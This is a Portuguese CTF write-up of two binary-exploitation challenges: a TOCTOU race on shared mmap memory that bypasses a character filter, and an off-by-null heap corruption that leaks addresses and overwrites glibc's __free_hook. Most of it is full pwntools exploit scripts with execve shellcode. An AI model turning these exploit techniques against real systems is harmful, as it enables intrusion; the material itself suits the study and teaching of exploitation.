Análise Técnica de Exploração Binária: TOCTOU em Mmap e Corrupção de Heap

Desafio: strange_code_runner

O binário apresenta um menu simples com três operações principais: edição, carregamento e execução de código. A análise estática revela que o programa gerencia um arquivo denominado "code" para armazenar o shellcode fornecido pelo usuário.

A rotina de edição abre o arquivo em modo de leitura e escrita, captura 0x20 bytes da entrada padrão e grava diretamente no disco:

void write_shellcode_disk(){
    int file_descriptor;
    char input_stream[0x20];
    file_descriptor = open("code", O_RDWR);
    printf(">>>");
    read(0, input_stream, 0x20);
    write(file_descriptor, input_stream, 0x20);
    close(file_descriptor);
    return ;
}

A funcionalidade de carregamento utiliza mmap para mapear o conteúdo do arquivo na memória do processo. O flag MAP_SHARED é crucial aqui, pois estabelece uma映射 direta entre o arquivo e a região de memória:

void map_shellcode_memory(){
    if(is_loaded){
        puts("already loaded");
    }else{
        int file_descriptor;
        file_descriptor = open("code", O_RDWR);
        executable_region = mmap(NULL, 0x20, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_SHARED, file_descriptor, 0);
        is_loaded = 1;
        puts("load success");
    }
    return ;
}

A execução valida cada byte do shellcode carregado, exigindo que estejam no intervalo ASCII entre 'P' (0x50) e 'U' (0x55). Se validado, o controle salta para o endereço mapeado:

void execute_validated_code(){
    if(is_loaded && executable_region){
        int offset = 0;
        while (offset < 0x20) {   
            if(executable_region[offset] < 'P' || executable_region[offset] > 'U'){
                puts("unable to pass the check");
                return ;
            }
            offset++;
        }
        puts("are u sure to continue");
        puts("1. continue");
        puts("2. no");
        uint32_t selection = read_uint();
        if(selection == 1){
            asm("jmp * %[addr]" : [addr] "+r" (executable_region));
        }
    }else{
        puts("code not load");
    }
    return ;
}

A restrição de caracteres (0x50-0x55) limita severamente as instruções possíveis, impedindo a construção de um shellcode funcional padrão. No entanto, a utilização de mmap com MAP_SHARED introduz uma vulnerabilidade de correlação temporal (TOCTOU). Como o mapeamento é compartilhado, alterações no arquivo "code" refletem-se imediatamente na memória mapeada, mesmo após a validação.

A estratégia de exploração consiste em anviar inicialmente bytes válidos para passar na verificação. Antes da instrução de salto final, um segundo processo ou conexão sobrescreve o arquivo "code" com um shellcode real. Quando a execução ocorre, o salto aponta para o conteúdo recém-modificado na memória.

Para contornar o limite de 0x20 bytes, constrói-se manualmente um shellcode compacto para invocar execve:

from pwn import *
payload_shell = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
# Tamanho resultante: 28 bytes

O script de exploração estabelece duas conexões simultâneas. A primeira realiza o carregamento e valida o código. A segunda sobrescreve o arquivo no momento crítico:

from pwn import *

binary_path = "./pwn"
remote_host = "ctf.buptmerak.cn"
remote_port = "20022"
mode_local = 1

context(os='linux', arch='amd64', log_level='debug')

if mode_local == 1:
    primary_conn = process(binary_path)
    secondary_conn = process(binary_path)
else:
    primary_conn = remote(remote_host, remote_port)
    secondary_conn = remote(remote_host, remote_port)

def send_prompt(conn, delimiter, payload):
    conn.sendlineafter(delimiter, payload)

# Shellcode funcional
bin_shell = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''

# Conexão 1: Carrega código válido
send_prompt(primary_conn, b'>>>', b'1')
send_prompt(primary_conn, b'>>>', b'P'*0x20)
send_prompt(primary_conn, b'>>>', b'2')
send_prompt(primary_conn, b'>>>', b'3')

# Conexão 2: Sobrescreve o arquivo mapeado
send_prompt(secondary_conn, b'>>>', b'1')
send_prompt(secondary_conn, b'>>>',  asm(bin_shell))

# Conexão 1: Confirma execução
send_prompt(primary_conn, b'>>>', b'1')
primary_conn.interactive()

Desafio: e_order

Este sistema de gerenciamento de pedidos opera sobre estruturas alocadas no heap. Cada pedido contém campos para nome, escolha, tempo, dormitório e um ponteiro para notas adicionais:

typedef struct {
    char name[16];
    int choice;
    int time;
    char dormitory[8];
    char* note_addr;
} order;

A vulnerabilidade reside na função de leitura de strings, que não verifica corretamente o terminador nulo, permitindo um overflow do tipo off-by-null:

void read_str(char * buffer, int size ){
    printf(">>>");
    int read_size = read(0, buffer, size);
    buffer[read_size] = 0x00;
    return ;
}

Se o usuário fornecer exatamente 0x10 bytes para o nome ou 0x8 bytes para o dormitório, o byte nulo adicionado pela função escreverá além do limite do buffer, corrompendo o metadata adjacente ou ponteiros seguintes. Especificamente, ao manipular o índice 2, é possível sobrescrever o ponteiro note_addr para apontar para si mesmo ou para regiões controladas, permitindo leitura e escrita arbitrária.

No ambiente glibc 2.32, o __free_hook ainda é utilizável. O objetivo é vazar o endereço base do heap e da libc para então sobrescrever o hook com o endereço da função system.

O vazamento do heap é obtido imprimindo o conteúdo de um pedido onde o ponteiro de nota foi corrompido para apontar para dentro do heap:

# Recuperação da base do heap
for i in range(2):
    register_order(i, 'a', 1, 2, 'a', b'a')
register_order(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')
display_order(2)
ru(b'a'*7 + b'\n')
heap_start = u64(rx(6).ljust(8, b'\x00')) - 0x420

Para vazar a libc, manipula-se o tamanho de um chunk para forçá-lo a entrar na unsorted bin. Ao imprimir esse chunk, o ponteiro main_arena é exposto. É necessário garantir que o bit prev_inuse do chunk seguinte esteja definido para evitar detecção de corrupção durante o free:

# Preparação de chunks para evitar checagens
for i in range(3, 15):
    register_order(i, 'a', 1, 2, 'a', b'a')

# Manipulação do ponteiro para criar chunk falso
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x470))
alter_order(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
cancel_order(3)
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x481)) # Ignorar byte nulo
display_order(2)
malloc_hook_addr = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10

Com os endereços base calculados, o exploit final sobrescreve __free_hook com o endereço de system e libera um chunk contendo a string "/bin/sh":

from pwn import *

binary_path = "./pwn"
libc_path = "/home/giacomo/tools/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6"
target_ip = ""
target_port = ""
run_local = 1

context(os='linux', arch='amd64')

if run_local == 1:
    conn = process(binary_path)
else:
    conn = remote(target_ip, target_port)

recv = lambda : conn.recv()
recv_bytes = lambda x: conn.recv(x)
recv_until = lambda x: conn.recvuntil(x)
send = lambda x: conn.send(x)
send_line = lambda x: conn.sendline(x)
send_after = lambda x, y: conn.sendafter(x, y)
send_line_after = lambda x, y: conn.sendlineafter(x, y)
log_addr = lambda name, addr : log.success('{} = {:#x}'.format(name, addr))

def register_order(idx, name, dish, time, dorm, note):
    send_line_after(b'>>>', b'0')
    send_line_after(b'>>>', str(idx).encode())
    send_line_after(b'>>>', name.encode())
    send_line_after(b'>>>', str(dish).encode())
    send_line_after(b'>>>', str(time).encode())
    send_line_after(b'>>>', dorm.encode())
    send_line_after(b'>>>', note)

def alter_order(idx, name, dish, time, dorm, note):
    send_line_after(b'>>>', b'1')
    send_line_after(b'>>>', str(idx).encode())
    send_line_after(b'>>>', name.encode())
    send_line_after(b'>>>', str(dish).encode())
    send_line_after(b'>>>', str(time).encode())
    send_line_after(b'>>>', dorm.encode())
    send_after(b'>>>', note)

def cancel_order(idx):
    send_line_after(b'>>>', b'3')
    send_line_after(b'>>>', str(idx).encode())

def display_order(idx):
    send_line_after(b'>>>', b'2')
    send_line_after(b'>>>', str(idx).encode())

# Vazamento Heap
for i in range(2):
    register_order(i, 'a', 1, 2, 'a', b'a')
register_order(2, 'admin', 1, 2, 'a'*7, b'tsctf-j')
for i in range(3, 15):
    register_order(i, 'a', 1, 2, 'a', b'a')
display_order(2)
recv_until(b'a'*7 + b'\n')
heap_start = u64(recv_bytes(6).ljust(8, b'\x00')) - 0x420
log_addr('heap_start', heap_start)

# Vazamento Libc
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x470))
alter_order(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
cancel_order(3)
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x481))
display_order(2)
malloc_hook_addr = u64(b'\x00' + recv_until(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
libc = ELF(libc_path)
libc_start = malloc_hook_addr - libc.sym['__malloc_hook']
log_addr('libc_start', libc_start)

# Exploração Final
free_hook_addr = libc_start + libc.sym['__free_hook']
system_addr = libc_start + libc.sym['system']
alter_order(2, 'a', 1, 2, 'a'*7, p64(free_hook_addr))
alter_order(2, 'a', 1, 2, 'a', p64(system_addr))
register_order(15, 'a', 1, 2, 'a', b'/bin/sh')
cancel_order(15)
conn.interactive()

Tags: ctf-pwn mmap-exploitation heap-corruption glibc-2.32 shellcode-engineering

Publicado em 10-23 08:19